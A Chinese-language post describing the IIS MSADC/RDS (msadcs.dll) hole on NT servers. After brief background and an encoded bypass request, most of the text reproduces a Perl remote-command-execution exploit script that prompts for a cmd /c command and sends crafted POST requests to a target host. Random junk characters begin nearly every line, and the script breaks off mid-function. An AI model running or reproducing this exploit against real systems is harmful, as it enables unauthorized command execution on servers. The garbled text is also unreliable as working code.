IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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e3 涉及程序:
KoWG:~>| Microsoft NT server
2R^Eea 2+pXtP@O 描述:
w>}n1Nc$G 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
) ]<^*b> hJw]hVYa 详细:
eb6y-TwY 如果你没有时间读详细内容的话,就删除:
{ot6ssT=D c:\Program Files\Common Files\System\Msadc\msadcs.dll
=<zlg~i 有关的安全问题就没有了。
AMO{ee7Po L|1~'Fz#w 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
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-kK!i yS[HYq 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
IjXxH]2 关于利用ODBC远程漏洞的描述,请参看:
qSD3]Dv" B<$6Dj%L http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm -%K}~4J 5Z"N2D)." 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Y%@;\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp L `=*Pwcj BQeg-M 这里不再论述。
T!pZj_ h= "A5z!6T{ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
L'"c;FF02i x&m(h1h /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
#e[r0f?U 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
,9ew75Jl r(_Fr#Qn * kUb[ #将下面这段保存为txt文件,然后: "perl -x 文件名"
/OMgj7olD e eyZ$n #!perl
A{T>Aac #
E8<,j})* # MSADC/RDS 'usage' (aka exploit) script
-Ekf T_ #
*"6A>:rQs # by rain.forest.puppy
=4&"fZ"v #
kE!ky\E # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
+%~me? # beta test and find errors!
se}$/Y}t #SjCKQ~ use Socket; use Getopt::Std;
De>,i%`Q,D getopts("e:vd:h:XR", \%args);
"GJ.`Hj YB^m!A),I[ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6lkCLH "-AFWWKtx if (!defined $args{h} && !defined $args{R}) {
1|>bG#| print qq~
Y`6<:8[? Usage: msadc.pl -h <host> { -d <delay> -X -v }
Gc5mR9pV -h <host> = host you want to scan (ip or domain)
g?Rq .py]! -d <seconds> = delay between calls, default 1 second
YhooD,[. -X = dump Index Server path table, if available
p1&=D%/ -v = verbose
/Bk`3~]E> -e = external dictionary file for step 5
{ ~(XO@;b -rHqU| Or a -R will resume a command session
,:V[H8 ? 1:./f|m ~; exit;}
I?%#`Rvu iU=:YPE+. $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[;'$y:L=g if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
!ZCxi
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
bX5/xf$q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-7J~^m2x $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Eq=JmO'gHs if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Bi"cWO e ^`La*n if (!defined $args{R}){ $ret = &has_msadc;
8vfC die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
<$#^)]Ts o4LVG print "Please type the NT commandline you want to run (cmd /c assumed):\n"
C8}=fa3u . "cmd /c ";
Y;dqrA>@ $in=<STDIN>; chomp $in;
]~ S
zb $command="cmd /c " . $in ;
nf:wJ-;* rg]z if (defined $args{R}) {&load; exit;}
!.4q{YWcYk J @IKXhb7_ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-b?s\X &try_btcustmr;
hQvI} V{\1qg{ print "\nStep 2: Trying to make our own DSN...";
NpbZt;%t &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
fl4'dv R4zOiBi'B print "\nStep 3: Trying known DSNs...";
`}a-prT<f &known_dsn;
u%OLXb gh `_{l
print "\nStep 4: Trying known .mdbs...";
ofgNL .u &known_mdb;
Y
7?q` \`-xxhb?e if (defined $args{e}){
;rnhv:Iw print "\nStep 5: Trying dictionary of DSN names...";
b'ir$RL] c &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
3u
s^\w# N%=,S?b print "Sorry Charley...maybe next time?\n";
>{Xyl): exit;
d*@K5?O. F+W{R+6 ##############################################################################
CE|
*&G ^.*zBrFx sub sendraw { # ripped and modded from whisker
8hSw4S"$ sleep($delay); # it's a DoS on the server! At least on mine...
xsvJjs;= my ($pstr)=@_;
V,?])=Ax socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
DV*e.Y> die("Socket problems\n");
y`7b3*P if(connect(S,pack "SnA4x8",2,80,$target)){
:01B)~^ select(S); $|=1;
@Yw42`>!s print $pstr; my @in=<S>;
8zjJshE/ select(STDOUT); close(S);
_5OxESE return @in;
bJeF1LjS } else { die("Can't connect...\n"); }}
R(f%*S4 ndk~(ex|j ##############################################################################
1] .m4vC 3S%/>)k sub make_header { # make the HTTP request
k?
,/om1 my $msadc=<<EOT
M`)3(|4 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
EQ"+G[j~x User-Agent: ACTIVEDATA
Z8f?uF Host: $ip
20:![/7:! Content-Length: $clen
r*FAUb`bG Connection: Keep-Alive
'
wp _U/ e YiqT Wn: ADCClientVersion:01.06
SI=7$8T5=5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
gTdr 3wPUP+)c7 --!ADM!ROX!YOUR!WORLD!
>3I|5kZ6 Content-Type: application/x-varg
^t`0ul]c Content-Length: $reqlen
1>umf~%Wa :1v.Jk EOT
y3P4]sq ; $msadc=~s/\n/\r\n/g;
mKUm*m#<